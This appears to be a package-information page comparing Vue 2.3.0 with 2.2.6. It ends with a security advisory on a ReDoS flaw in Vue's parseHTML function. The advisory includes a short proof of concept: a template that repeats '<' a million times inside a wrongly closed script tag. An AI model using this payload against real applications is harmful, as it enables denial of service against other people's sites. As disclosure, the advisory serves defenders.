Vue version 2.3.0, released in April 2017, refines the popular JavaScript framework for building user interfaces, improving upon the solid foundation of version 2.2.6, which was launched in March 2017. Both versions share the same core philosophy of being a reactive, component-oriented view layer, ideal for crafting modern web applications. Developers familiar with Vue will find the upgrade straightforward, as the fundamental concepts remain consistent.
A key difference lies in the updated set of development dependencies. While many familiar tools like webpack, rollup, eslint, and babel are present in both versions, version 2.3.0 introduces some changes. Notably, file-loader and lodash.template appears to be new additions or have been updated, potentially affecting how assets are handled and templates are processed during development. Furthermore, vue-ssr-webpack-plugin and vue-ssr-html-stream are not present in version 2.3.0, suggesting a shift or alternative approach to server-side rendering compared to version 2.2.6.
While the core functionality remains largely the same, these dependency updates suggest improvements in the build process, potential performance enhancements, or refined tooling for developers. Existing Vue projects may require adjustments to accommodate the dependency updates. Developers should carefully examine the changelog for detailed information on specific changes and migration guides. These updates likely contribute to a more streamlined and efficient development experience overall.
All the vulnerabilities related to the version 2.3.0 of the package
ReDoS vulnerability in vue package that is exploitable through inefficient regex evaluation in the parseHTML function
The ReDoS can be exploited through the parseHTML function in the html-parser.ts file. This flaw allows attackers to slow down the application by providing specially crafted input that causes inefficient processing of regular expressions, leading to excessive resource consumption.
To demonstrate this vulnerability, here's an example. In a Vue client-side application, create a new Vue instance with a template string that includes a <script> tag but closes it incorrectly with something like </textarea>.
new Vue({
el: '#app',
template: '
<div>
Hello, world!
<script>${'<'.repeat(1000000)}</textarea>
</div>'
});
Next, set up a basic HTML page (e.g., index.html) to load this JavaScript and mount the Vue instance:
<!DOCTYPE html>
<html>
<head>
<title>My first Vue app</title>
</head>
<body>
<div id=\"app\">Loading...</div>
</body>
</html>
When you visit the app in your browser at http://localhost:3000, you'll notice that the time taken to parse and mount the Vue application increases significantly due to the ReDoS vulnerability, demonstrating how the flaw can affect performance.